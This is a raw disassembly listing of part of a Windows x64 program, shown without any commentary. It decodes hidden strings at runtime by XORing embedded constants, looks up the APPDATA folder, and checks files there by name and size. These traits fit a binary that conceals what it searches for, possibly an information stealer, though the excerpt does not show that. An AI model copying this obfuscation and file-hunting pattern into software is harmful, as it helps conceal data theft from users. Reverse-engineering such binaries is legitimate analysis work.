movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
mov r13, 0xffffffffffffffff
xor r14d, r14d
mov rsi, r15
lea rcx, [rsp + 0xa00]
mov rdx, rsi
call fcn.14014a2b0
cmp byte [rsp + 0xa10], 0xa
je 0x140014329
inc r14
inc r13
jmp 0x1400142f6
cmp qword [rsp + 0x38], 0
jne 0x140014b9e
jmp 0x140014007
cmp qword [rsp + 0x770], 0
je 0x14001434b
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x70]
test rbx, rbx
je 0x14001460c
dec rbx
mov qword [rsp + 0x70], rbx
mov rax, qword [rsp + 0x68]
mov rcx, rbx
shl rcx, 5
mov r15b, byte [rax + rcx + 0x18]
cmp r15b, 2
je 0x14001460e
lea rdi, [rax + rcx]
mov rbx, qword [rax + rcx]
mov qword [rsp + 0xf8], rbx
mov rdx, qword [rax + rcx + 8]
mov r8, qword [rax + rcx + 0x10]
mov eax, dword [rdi + 0x19]
mov ecx, dword [rdi + 0x1c]
mov dword [rsp + 0xc3], ecx
mov dword [rsp + 0xc0], eax
lea rcx, [rsp + 0xa00]
mov qword [rsp + 0xf0], rdx
mov r12, r8
call fcn.140156a90
xor eax, eax
mov qword [rsp + 0x100], rax
mov qword [rsp + 0x108], 1
mov qword [rsp + 0x110], rax
mov byte [rsp + 0x118], 1
movups xmm0, xmmword [rsp + 0xa00]
movups xmm1, xmmword [rsp + 0xa10]
movups xmm2, xmmword [rsp + 0xa20]
movups xmm3, xmmword [rsp + 0xa30]
movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
mov qword [rsp + 0x540], r14
test r14, r14
je 0x14001447d
cmp r14, 1
je 0x140014453
mov rdi, r13
mov rcx, rbp
mov rdx, rsi
call fcn.14014a2b0
cmp byte [rsp + 0x130], 0xa
je 0x14001446d
dec rdi
jne 0x140014439
lea rcx, [rsp + 0x770]
mov rdx, rsi
call fcn.14014a2b0
cmp byte [rsp + 0x780], 0xa
jne 0x14001447d
mov esi, r15d
mov r15d, 1
xor edi, edi
jmp 0x140014558
movaps xmm0, xmmword [rsp + 0x500]
movaps xmm1, xmmword [rsp + 0x510]
movaps xmm2, xmmword [rsp + 0x520]
movaps xmm3, xmmword [rsp + 0x530]
movaps xmmword [rsp + 0x150], xmm3
movaps xmmword [rsp + 0x140], xmm2
movaps xmmword [rsp + 0x130], xmm1
movaps xmmword [rsp + 0x120], xmm0
xor esi, esi
lea rcx, [rsp + 0x770]
mov rdx, rbp
call fcn.14014a2b0
mov dl, byte [rsp + 0x780]
cmp dl, 0xa
je case.default.0x14001450d
mov rax, qword [rsp + 0x770]
mov rcx, qword [rsp + 0x778]
sub dl, 5
movzx edx, dl
cmovb edx, esi
movzx r8d, dl
lea rdx, [0x140015f9c]
movsxd rbx, dword [rdx + r8*4]
add rbx, rdx
lea rdx, [0x140375948]
jmp rbx
mov esi, r15d
mov r15, qword [rsp + 0x108]
mov rdi, qword [rsp + 0x110]
lea rcx, [rsp + 0x120]
mov rdx, r15
mov r8, rdi
call fcn.140156a90
movups xmm0, xmmword [rsp + 0x120]
movups xmm1, xmmword [rsp + 0x130]
movups xmm2, xmmword [rsp + 0x140]
movups xmm3, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x530], xmm3
movaps xmmword [rsp + 0x520], xmm2
movaps xmmword [rsp + 0x510], xmm1
movaps xmmword [rsp + 0x500], xmm0
xor ebx, ebx
lea rcx, [rsp + 0xa00]
lea rdx, [rsp + 0x500]
call fcn.14014a2b0
cmp byte [rsp + 0xa10], 0xa
je 0x1400145d1
dec rbx
jmp 0x1400145ad
test rbx, rbx
je 0x140014684
mov rdx, qword [rsp + 0x3a8]
mov r8, qword [rsp + 0x3b0]
mov qword [rsp + 0x20], rdi
lea rcx, [rsp + 0xc8]
mov r9, r15
call fcn.1401569b0
mov rdi, qword [rsp + 0xd8]
jmp 0x1400146d2
xor ebx, ebx
cmp qword [rsp + 0x3a0], 0
je 0x140014635
mov r8, qword [rsp + 0x3a8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x68]
mov rcx, rdi
mov rdx, rbx
call fcn.1400a43a9
cmp qword [rsp + 0x60], 0
lea r14, [rsp + 0x448]
lea r13, [rsp + 0x538]
mov rsi, qword [rsp + 0xe8]
je 0x140014677
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
xor r15d, r15d
mov rbp, qword [rsp + 0x38]
jmp 0x140014b47
mov rbx, qword [rsp + 0x3a8]
mov rdi, qword [rsp + 0x3b0]
mov rcx, rdi
xor edx, edx
call fcn.140034043
mov rcx, rdx
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0xd0], rdx
mov rdx, rbx
mov r8, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0xd8], rdi
mov al, byte [rsp + 0x3b8]
mov byte [rsp + 0xe0], al
mov rbx, qword [rsp + 0xd0]
lea rcx, [rsp + 0x500]
mov rdx, rbx
mov r8, rdi
call fcn.14017b1e8
cmp dword [rsp + 0x500], 2
jne 0x14001471a
mov rcx, qword [rsp + 0x420]
call fcn.14006467d
mov cl, 1
mov rdx, rbx
mov r8, rdi
call fcn.140150be0
test rax, rax
jne 0x140014c6b
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x128], rax
mov qword [rsp + 0x130], r12
mov byte [rsp + 0x138], sil
mov eax, dword [rsp + 0xc0]
mov ecx, dword [rsp + 0xc3]
lea rdx, [rsp + 0x120]
mov dword [rdx + 0x1c], ecx
mov dword [rdx + 0x19], eax
lea rcx, [rsp + 0x500]
lea rdx, [rsp + 0x120]
call fcn.140182b8c
mov edi, dword [rsp + 0x510]
mov r15, qword [rsp + 0x500]
cmp edi, 2
je 0x140014c51
mov rbx, qword [rsp + 0x508]
mov r8d, 0x254
lea rsi, [rsp + 0x770]
mov rcx, rsi
lea rdx, [rsp + 0x514]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0x500], r15
mov qword [rsp + 0x508], rbx
mov dword [rsp + 0x510], edi
mov r8d, 0x254
lea rcx, [rsp + 0x514]
mov rdx, rsi
call sub.VCRUNTIME140.dll_memcpy
lea rbp, [rsp + 0x120]
lea rsi, [rsp + 0x500]
mov rcx, rbp
mov rdx, rsi
call fcn.14014f930
cmp qword [rsp + 0x120], 0
je 0x140014a11
mov r15, qword [rsp + 0x128]
mov rdi, qword [rsp + 0x378]
test rdi, rdi
je 0x140014a60
mov r8d, 0x248
mov rcx, qword [rsp + 0x28]
lea rdx, [rsp + 0x130]
call sub.VCRUNTIME140.dll_memcpy
mov qword [rsp + 0xa00], r15
mov qword [rsp + 0xc50], rdi
mov eax, r15d
shr eax, 0xa
mov cl, byte [rsp + 0xa27]
and cl, 0x20
shr cl, 5
test al, cl
jne 0x1400148d7
and r15d, 0x10
je 0x1400148d7
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0xa00]
call fcn.14014fb80
mov rdx, qword [rsp + 0x70]
cmp rdx, qword [rsp + 0x60]
jne 0x14001489b
lea rcx, [rsp + 0x60]
call fcn.140183525
mov rdx, qword [rsp + 0x70]
lea rbp, [rsp + 0x120]
lea rsi, [rsp + 0x500]
mov rax, qword [rsp + 0x68]
mov rcx, rdx
shl rcx, 5
movups xmm0, xmmword [rsp + 0x40]
movups xmm1, xmmword [rsp + 0x50]
movups xmmword [rax + rcx + 0x10], xmm1
movups xmmword [rax + rcx], xmm0
inc rdx
mov qword [rsp + 0x70], rdx
jmp 0x1400149ed
lea rcx, [rsp + 0x98]
lea rdx, [rsp + 0xa00]
call fcn.14014fb80
mov rcx, qword [rsp + 0xa0]
mov rdx, qword [rsp + 0xa8]
call fcn.140156590
test rax, rax
lea rbp, [rsp + 0x120]
lea rsi, [rsp + 0x500]
je 0x1400149cb
mov rdi, rax
mov rbx, rdx
lea rcx, [rsp + 0x78]
lea rdx, [rsp + 0xa00]
call fcn.14014fb80
mov rdx, qword [rsp + 0xd0]
mov r8, qword [rsp + 0xd8]
mov qword [rsp + 0x20], rbx
lea rcx, [rsp + 0x40]
mov r9, rdi
call fcn.1401569b0
mov rdx, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x9d0]
mov r9, rdi
call fcn.140167200
cmp qword [rsp + 0x9d0], 0
jne 0x140014bb5
cmp qword [rsp + 0x40], 0
je 0x1400149ac
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 0
je 0x1400149cb
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x98], 0
je 0x1400149ed
mov r8, qword [rsp + 0xa0]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xc50]
lock dec qword [rax]
jne 0x1400147f6
mov rcx, qword [rsp + 0xc50]
call fcn.14017e6d0
jmp 0x1400147f6
mov rcx, rsi
call fcn.140187644
cmp qword [rsp + 0xc8], 0
je 0x140014a3b
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x100], 0
je 0x140014346
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
jmp 0x140014340
lea r14, [rsp + 0x448]
lea r13, [rsp + 0x538]
mov rbp, qword [rsp + 0x38]
lea rcx, [rsp + 0x500]
call fcn.140187644
mov sil, 1
cmp qword [rsp + 0xc8], 0
je 0x140014aa7
mov r8, qword [rsp + 0xd0]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x100], 0
je 0x140014ac9
mov r8, qword [rsp + 0x108]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xf8], 0
sete al
or sil, al
jne 0x140014af1
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0xf0]
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x3a0], 0
mov rsi, qword [rsp + 0xe8]
je 0x140014b1b
mov r8, qword [rsp + 0x3a8]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov rcx, rdi
call fcn.1400a43a9
cmp qword [rsp + 0x60], 0
je 0x140014b47
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x418], 0
je 0x140014b69
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x410]
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x500], r15
test r15, r15
lea rbx, [rsp + 0x500]
je 0x140014b86
mov rcx, rbx
call fcn.14006467d
test rbp, rbp
lea rbp, [rsp + 0x120]
lea r15, [0x140364a7a]
je 0x140014007
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140014007
mov r15, qword [rsp + 0x9d8]
cmp qword [rsp + 0x40], 0
je 0x140014bd7
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x78], 0
lea r14, [rsp + 0x448]
lea r13, [rsp + 0x538]
je 0x140014c06
mov r8, qword [rsp + 0x80]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x98], 0
mov rbp, qword [rsp + 0x38]
je 0x140014c2d
mov r8, qword [rsp + 0xa0]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0xc50]
lock dec qword [rax]
jne 0x140014a75
mov rcx, qword [rsp + 0xc50]
call fcn.14017e6d0
jmp 0x140014a75
lea r14, [rsp + 0x448]
lea r13, [rsp + 0x538]
mov rbp, qword [rsp + 0x38]
jmp 0x140014a82
mov r15, rax
xor esi, esi
lea r14, [rsp + 0x448]
lea r13, [rsp + 0x538]
mov rbp, qword [rsp + 0x38]
jmp 0x140014a85
lea rsi, [rsp + 0x500]
mov rcx, rsi
call fcn.140004252
lea rcx, [rsp + 0x448]
call fcn.1400045a1
cmp qword [rsp + 0x30], 0
je 0x140014cc6
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x428]
call qword [sym.imp.kernel32.dll_HeapFree]
lea rax, [0x140364592]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0xe3b3f1af4b3e4d8b
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.14000a306
xorps xmm0, xmm0
movaps xmmword [rsp + 0x770], xmm0
mov r9b, 1
xor edi, edi
lea r10, [0x140371740]
lea r15, [rsp + 0x388]
lea r13, [rsp + 0x120]
movzx r8d, byte [rdi + r10]
mov rcx, rdi
or rcx, 1
movzx ebx, byte [rcx + r10]
mov rcx, rdi
or rcx, 2
movzx r11d, byte [rcx + r10]
mov rcx, rdi
or rcx, 3
movzx r14d, byte [rcx + r10]
mov rcx, rdi
or rcx, 4
movzx ecx, byte [rcx + r10]
mov rsi, rdi
or rsi, 5
movzx ebp, byte [rsi + r10]
mov rsi, rdi
or rsi, 6
mov rdx, rdi
or rdx, 7
movzx esi, byte [rsi + r10]
movzx edx, byte [rdx + r10]
shl rdx, 0x38
shl rsi, 0x30
or rsi, rdx
shl rbp, 0x28
shl rcx, 0x20
shl r14, 0x18
shl r11, 0x10
shl rbx, 8
or rbx, r8
or rbx, r11
or rbx, r14
or rbx, rcx
or rbx, rbp
or rbx, rsi
xor rbx, qword [rax + rdi]
mov qword [rsp + rdi + 0x770], rbx
mov edi, 8
test r9b, 1
mov r9d, 0
jne 0x140014d23
lea rax, [rsp + 0x770]
mov qword [rsp + 0x448], rax
mov qword [rsp + 0x450], 0x10
lea r12, [rsp + 0x120]
mov qword [r12], r15
lea rax, [0x140006df0]
mov qword [r12 + 8], rax
lea rax, [rsp + 0x448]
mov qword [r12 + 0x10], rax
lea rax, [0x140037710]
mov qword [r12 + 0x18], rax
xor r14d, r14d
lea rbp, [rsp + 0x500]
mov qword [rbp], r14
lea rax, [0x140371678]
mov qword [rbp + 0x10], rax
mov eax, 2
mov qword [rbp + 0x18], rax
mov qword [rbp + 0x20], r13
mov qword [rbp + 0x28], rax
lea rsi, [rsp + 0xa00]
mov rcx, rsi
mov rdx, rbp
call fcn.140030660
mov rax, qword [rsi]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rbx, [rsp + 0x500]
mov rcx, rbx
mov qword [rsp + 0x38], rdx
call fcn.1401674f0
mov qword [rbx + 0x20], r14
mov qword [rbx + 0x30], 0xa
mov qword [rbx + 0x38], r14
mov word [rbx + 0x48], 0
mov byte [rbx + 0x4a], 0
mov qword [rbx + 0x40], 3
mov ecx, 0xa
mov rdi, r12
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
movups xmm0, xmmword [r12]
movups xmm1, xmmword [r12 + 0x10]
movups xmm2, xmmword [r12 + 0x20]
movups xmm3, xmmword [r12 + 0x30]
movaps xmmword [rbx + 0x20], xmm2
movaps xmmword [rbx + 0x30], xmm3
movups xmm2, xmmword [r12 + 0x40]
movaps xmmword [rbx + 0x40], xmm2
movaps xmmword [rbx], xmm0
movaps xmmword [rbx + 0x10], xmm1
xorps xmm0, xmm0
movups xmmword [rsp + 0x778], xmm0
lea rax, [rsp + 0xa00]
lea rsi, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rax
rep movsq qword [rdi], qword [rsi]
mov rcx, qword [rsp + 0x780]
mov qword [rsp + 0x3d0], rcx
movups xmm1, xmmword [rsp + 0x770]
movaps xmmword [rsp + 0x3c0], xmm1
lea rdx, [rsp + 0x500]
mov ecx, 0xa
mov rdi, rdx
mov rsi, rax
rep movsq qword [rdi], qword [rsi]
mov qword [rdx + 0x50], r14
movaps xmm1, xmmword [rsp + 0x3c0]
movups xmmword [rdx + 0x58], xmm1
mov rax, qword [rsp + 0x3d0]
mov qword [rdx + 0x68], rax
mov qword [rdx + 0x70], r14
mov ecx, 8
mov qword [rdx + 0x78], rcx
movups xmmword [rdx + 0x80], xmm0
mov qword [rdx + 0x90], rcx
movups xmmword [rdx + 0x98], xmm0
mov qword [rdx + 0xa8], rcx
mov qword [rdx + 0xb0], r14
add r12, rcx
lea rax, [rsp + 0x98]
add rcx, rax
mov qword [rsp + 0x28], rcx
mov ebx, 3
mov rcx, r13
mov rdx, rbp
call fcn.14017b3d2
mov rax, qword [rsp + 0x150]
cmp rax, 2
je 0x14001505a
cmp eax, 3
je 0x14001571b
mov r14, qword [rsp + 0x120]
mov r15, qword [rsp + 0x128]
mov r13, qword [rsp + 0x130]
cmp byte [rsp + 0x198], 0
je 0x140015082
mov rsi, qword [rsp + 0x148]
lea rcx, [rsp + 0x770]
mov rdx, r15
mov r8, r13
call fcn.14017b1e8
cmp dword [rsp + 0x770], 2
jne 0x140015167
mov rdi, qword [rsp + 0x778]
mov rcx, r12
mov rdx, r15
mov r8, r13
call fcn.1401674f0
mov qword [rsp + 0x168], rsi
mov qword [rsp + 0x148], rdi
mov byte [rsp + 0x160], 2
mov qword [rsp + 0x120], 1
mov rcx, r12
call fcn.140004c54
jmp 0x1400151c6
mov ecx, 9
lea rax, [rsp + 0x770]
mov rdi, rax
lea rsi, [rsp + 0x158]
rep movsq qword [rdi], qword [rsi]
mov rcx, rax
call fcn.140004c54
jmp 0x140014f9e
xor ecx, ecx
cmp dword [rsp + 0x180], 0
setne cl
xor edx, edx
cmp dword [rsp + 0x188], 0
setne dl
xor edi, edi
test rax, rax
setne dil
mov qword [rsp + 0x770], rdi
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x778], rax
mov eax, dword [rsp + 0x160]
mov dword [rsp + 0x780], eax
mov eax, dword [rsp + 0x164]
mov dword [rsp + 0x784], eax
mov eax, dword [rsp + 0x168]
mov dword [rsp + 0x788], eax
mov eax, dword [rsp + 0x16c]
mov dword [rsp + 0x78c], eax
mov eax, dword [rsp + 0x170]
mov dword [rsp + 0x790], eax
mov eax, dword [rsp + 0x174]
mov dword [rsp + 0x794], eax
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x798], rax
mov dword [rsp + 0x7a0], ecx
mov eax, dword [rsp + 0x184]
mov dword [rsp + 0x7a4], eax
mov dword [rsp + 0x7a8], edx
mov eax, dword [rsp + 0x18c]
mov dword [rsp + 0x7ac], eax
mov eax, dword [rsp + 0x190]
mov dword [rsp + 0x7b0], eax
mov eax, dword [rsp + 0x194]
mov dword [rsp + 0x7b4], eax
mov ecx, 9
mov rdi, r12
lea rsi, [rsp + 0x770]
rep movsq qword [rdi], qword [rsi]
mov qword [rsp + 0x120], 0
mov rcx, qword [rsp + 0x150]
call fcn.140047b2b
mov r8, rdx
cmp rax, 0x5fffff
jbe 0x1400151b2
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400156f3
test rax, rax
je 0x1400151c6
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, r15
mov rdx, r13
call fcn.140156590
test rax, rax
cmove rax, r15
cmove rdx, r13
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015e5b
test rdx, rdx
je 0x140015390
cmp byte [rdx + rax - 1], 0x73
jne 0x140015390
mov rcx, r15
mov rdx, r13
call fcn.140156590
test rax, rax
cmove rax, r15
cmove rdx, r13
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015f4f
cmp rdx, 0x11
jne 0x140015390
lea rax, [0x140364c18]
mov qword [rsp + 0x120], rax
lea rdi, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0x12f78b92fd50c4d1
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.14000a02f
mov rax, qword [rax]
movabs rcx, 0xa4929ef02b10be91
xor rax, rcx
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 8
mov rcx, r15
mov rdx, r13
call fcn.14017b315
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015f62
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
lea rax, [rsp + 0x430]
mov qword [rsp + 0x770], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x778], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x780], rax
lea rax, [0x140037710]
mov qword [rsp + 0x788], rax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x790], rcx
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x120], 0
lea rax, [0x1403716f8]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rbx
lea rax, [rsp + 0x770]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rbx
lea rsi, [rsp + 0x448]
mov rcx, rsi
mov rdx, rdi
call fcn.140030660
lea rcx, [rsp + 0x98]
mov rdx, r15
mov r8, r13
mov r9, rsi
call fcn.14012da1e
cmp qword [rsp + 0x98], 0
je 0x140015390
mov rcx, qword [rsp + 0x28]
call fcn.14006467d
mov rcx, r15
mov rdx, r13
call fcn.140156590
test rax, rax
cmove rax, r15
cmove rdx, r13
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015e6b
mov rsi, rax
mov rdi, rdx
lea rax, [0x1403678ce]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rdx, 0x62581a944259fe5f
mov qword [rsp + 0x120], rdx
mov rdx, qword [rsp + 0x120]
call fcn.140009ebf
mov ecx, dword [rax]
movzx edx, byte [rax + 6]
movzx eax, word [rax + 4]
xor eax, 0xed43
xor dl, 0xb7
movzx edx, dl
mov byte [rsp + 0x776], dl
shl rdx, 0x30
shl rax, 0x20
or rax, rdx
xor rcx, 0x324c1114
mov dword [rsp + 0x770], ecx
shr rax, 0x20
mov word [rsp + 0x774], ax
cmp rdi, 6
jbe 0x14001545d
mov eax, dword [rsp + 0x770]
xor eax, dword [rsi]
mov ecx, dword [rsp + 0x773]
xor ecx, dword [rsi + 3]
or ecx, eax
je 0x14001558a
mov rcx, r15
mov rdx, r13
call fcn.140156590
test rax, rax
cmove rax, r15
cmove rdx, r13
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015f16
mov rsi, rax
mov rdi, rdx
lea rax, [0x140364b25]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rdx, 0xb4a89f28a74d7e00
mov qword [rsp + 0x120], rdx
mov rdx, qword [rsp + 0x120]
call fcn.1400083f8
mov rax, qword [rax]
movabs rcx, 0x9d27e8addff0e872
xor rax, rcx
mov qword [rsp + 0x770], rax
cmp rdi, 7
jbe 0x1400154f7
mov rax, qword [rsp + 0x770]
cmp rax, qword [rsi]
je 0x14001558a
mov rcx, r15
mov rdx, r13
call fcn.14017b315
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015f29
mov rsi, rax
mov rdi, rdx
lea rax, [0x140365004]
mov qword [rsp + 0x120], rax
lea rax, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rdx, 0x9c48d3efb5581586
mov qword [rsp + 0x120], rdx
mov rdx, qword [rsp + 0x120]
call fcn.1400094d7
mov rax, qword [rax]
movabs rcx, 0x6663a55797fad51b
xor rax, rcx
mov qword [rsp + 0x770], rax
cmp rdi, 7
jbe 0x1400156f3
mov rax, qword [rsp + 0x770]
cmp rax, qword [rsi]
jne 0x1400156f3
lea rax, [0x14036b1a2]
mov qword [rsp + 0x120], rax
lea rdi, [rsp + 0x120]
mov rcx, qword [rsp + 0x120]
movabs rax, 0xddb5ca0268778f7f
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0x120]
call fcn.140008383
mov rax, qword [rax]
movabs rcx, 0x90b7ed36fb7b5bf4
xor rax, rcx
mov qword [rsp + 0xc8], rax
lea rax, [rsp + 0xc8]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], 8
mov rcx, r15
mov rdx, r13
call fcn.140156590
test rax, rax
cmove rax, r15
cmove rdx, r13
mov rcx, rax
call fcn.140167460
test rax, rax
je 0x140015f3c
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rdx
lea rax, [rsp + 0x430]
mov qword [rsp + 0x770], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x778], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x780], rax
lea rax, [0x140037710]
mov qword [rsp + 0x788], rax
lea rcx, [rsp + 0x40]
mov qword [rsp + 0x790], rcx
mov qword [rsp + 0x798], rax
mov qword [rsp + 0x120], 0
lea rax, [0x1403716f8]
mov qword [rsp + 0x130], rax
mov qword [rsp + 0x138], rbx
lea rax, [rsp + 0x770]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rbx
lea rsi, [rsp + 0x448]
mov rcx, rsi
mov rdx, rdi
call fcn.140030660
lea rcx, [rsp + 0x98]
mov rdx, r15
mov r8, r13
mov r9, rsi
call fcn.14012da1e
cmp qword [rsp + 0x98], 0
je 0x1400156f3
mov rcx, qword [rsp + 0x28]
call fcn.14006467d
test r14, r14
lea r13, [rsp + 0x120]
je 0x140014f9e
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140014f9e
lea rcx, [rsp + 0x120]
call fcn.140004252
lea rcx, [rsp + 0x500]
call fcn.1400045a1
cmp qword [rsp + 0x30], 0
je 0x140015751
mov rcx, qword [0x1403ce198]
xor edx, edx
mov r8, qword [rsp + 0x38]
call qword [sym.imp.kernel32.dll_HeapFree]
lea r15, [rsp + 0x500]
cmp qword [rsp + 0x388], 0
mov rsi, qword [rsp + 0xb8]
je 0x140015783
mov r8, qword [rsp + 0x390]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x430], 0
je 0x1400157a5
mov r8, qword [rsp + 0x438]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
lea rcx, [rsp + 0x40]
call fcn.140031440
lea rdx, str.APPDATA
lea rsi, [rsp + 0x120]
mov r8d, 7
mov rcx, rsi
call fcn.14014ced0
cmp byte [rsi + 0x18], 3
jne 0x140015ecf
mov rax, qword [rsp + 0x130]
mov qword [rsp + 0x780], rax
movups xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x770], xmm0
lea rax, [0x1402a906f]
mov qword [rsp + 0x500], rax
mov rcx, qword [rsp + 0x500]
movabs rax, 0xea28ebe4a3e0694f
mov qword [rsp + 0x500], rax
mov rdx, qword [rsp + 0x500]
call fcn.140008620
xorps xmm0, xmm0
movaps xmmword [rsp + 0xa00], xmm0
mov qword [rsp + 0xa10], 0
mov rcx, 0xfffffffffffffff8
lea rdx, [0x1402af570]
mov rbp, qword [rcx + rdx + 8]
xor rbp, qword [rax + rcx + 8]
mov qword [rsp + rcx + 0xa08], rbp
add rcx, 8
cmp rcx, 0x10
jb 0x140015859
mov ecx, 0xca24a021
xor ecx, dword [rax + 0x18]
mov dword [rsp + 0xa18], ecx
movzx eax, word [rax + 0x1c]
xor eax, 0x4911
mov word [rsp + 0xa1c], ax
lea rax, [rsp + 0xa00]
mov qword [rsp + 0x3c0], rax
mov qword [rsp + 0x3c8], 0x1e
lea rax, [rsp + 0x770]
mov qword [rsp + 0x120], rax
lea rax, [0x140006df0]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x130], rax
lea rax, [0x140037710]
mov qword [rsp + 0x138], rax
lea rdx, [rsp + 0x500]
mov qword [rdx], 0
lea rax, [0x140371678]
mov qword [rdx + 0x10], rax
mov eax, 2
mov qword [rdx + 0x18], rax
mov qword [rdx + 0x20], rsi
mov qword [rdx + 0x28], rax
lea r14, [rsp + 0x448]
mov rcx, r14
call fcn.140030660
cmp qword [rsp + 0x770], 0
je 0x14001594c
mov r8, qword [rsp + 0x778]
mov rcx, qword [0x1403ce198]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rbx, qword [rsp + 0x448]
mov rbp, qword [rsp + 0x450]
mov r15, qword [rsp + 0x458]
lea rsi, [rsp + 0x500]
mov rcx, rsi
mov rdx, rbp
mov r8, r15
xor r9d, r9d
call fcn.140151c10
cmp dword [rsi], 2
jne 0x1400159a0
